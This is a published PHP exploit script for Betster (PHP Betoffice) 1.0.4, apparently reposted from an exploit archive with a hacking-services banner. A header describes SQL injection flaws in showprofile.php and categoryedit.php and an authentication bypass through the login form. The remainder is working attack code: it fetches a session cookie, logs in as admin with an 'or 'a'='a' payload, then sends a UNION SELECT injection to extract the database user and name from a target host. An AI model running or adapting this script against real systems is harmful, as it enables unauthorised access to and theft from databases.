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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<?php
/*
 
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /        
  / XXXXXX /
 (________(          
  `------'
  
 Exploit Title   : Betster (PHP Betoffice) Authentication Bypass and SQL Injection
 Date            : 6 March 2015
 Exploit Author  : CWH Underground
 Discovered By   : ZeQ3uL
 Site            : www.2600.in.th
 Vendor Homepage : http://betster.sourceforge.net/
 Software Link   : http://downloads.sourceforge.net/project/betster/betster-1.0.4.zip
 Version         : 1.0.4
 Tested on       : Linux, PHP 5.3.9
   
####################
SOFTWARE DESCRIPTION
####################
   
Betster is a Software to create a online bet-office based on PHP, MySQL and JavaScript. The system works with variable odds 
(betting-exchange with variable decimal odds) and provides a CMS-like backend for handling the bets, users and categories.
   
################################################################
VULNERABILITY: SQL Injection (showprofile.php, categoryedit.php)
################################################################
    
An attacker might execute arbitrary SQL commands on the database server with this vulnerability.
User tainted data is used when creating the database query that will be executed on the database management system (DBMS).
An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system
depending on the query, DBMS and configuration.
   
/showprofile.php (LINE: 63)
-----------------------------------------------------------------------------
if (($session->getState()) && 
	(($user->getStatus() == "administrator") || 
	 ($user->getStatus() == "betmaster"))){
	$mainhtml = file_get_contents("tpl/showprofile.inc");

	$id = htmlspecialchars($_GET['id']);				<<<< WTF !!
	$xuser = $db_mapper->getUserById($id);
-----------------------------------------------------------------------------
    
/categoryedit.php (LINE: 52)
-----------------------------------------------------------------------------
$id = htmlspecialchars($_GET['id']);					<<<< WTF !!
$action = htmlspecialchars($_GET['ac']);
----------------------------------------------------------------------------- 

###########################################
VULNERABILITY: Authentication Bypass (SQLi)
###########################################
  
File index.php (Login function) has SQL Injection vulnerability, "username" parameter supplied in POST parameter for checking valid credentials.
The "username" parameter is not validated before passing into SQL query which arise authentication bypass issue.
 
#####################################################
EXPLOIT
#####################################################
  
*/
 
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 50);
 
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
  
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
 
print "\n+---------------------------------------------+";
print "\n| Betster Auth Bypass & SQL Injection Exploit |";
print "\n+---------------------------------------------+\n";
  
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /betster/\n";
    die();
}
 
$host = $argv[1];
$path = $argv[2];

$payload = "username=admin%27+or+%27a%27%3D%27a&password=cwh&login=LOGIN";

$packet  = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

   print "\n  ,--^----------,--------,-----,-------^--,   \n";
   print "  | |||||||||   `--------'     |          O   \n";
   print "  `+---------------------------^----------|   \n";
   print "    `\_,-------, _________________________|   \n";
   print "      / XXXXXX /`|     /                      \n";
   print "     / XXXXXX /  `\   /                       \n";
   print "    / XXXXXX /\______(                        \n";
   print "   / XXXXXX /                                 \n";
   print "  / XXXXXX /   .. CWH Underground Hacking Team ..  \n";
   print " (________(                                   \n";
   print "  `------'                                    \n";

$response = http_send($host, $packet);

 if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n");

$packet  = "POST {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

   print "\n\n[+] Bypassing Authentication...\n";
   sleep(2);

$response=http_send($host, $packet);

preg_match('/menutitle">ADMIN/s', $response) ? print "\n[+] Authentication Bypass Successfully !!\n" : die("\n[-] Bypass Authentication Failed !!\n");
 
$packet  = "GET {$path}showprofile.php?id=1%27%20and%201=2%20union%20select%201,concat(0x3a3a,0x557365723d,user(),0x202c2044425f4e616d653d,database(),0x3a3a),3,4,5,6,7--+ HTTP/1.0\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

   print "[+] Performing SQL Injection Attack\n";
   sleep(2);
   
$response1=http_send($host, $packet);

preg_match('/::(.*)::/', $response1, $m) ? print "\n$m[1]\n" : die("\n[-] Exploit failed!\n");

################################################################################################################
# Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>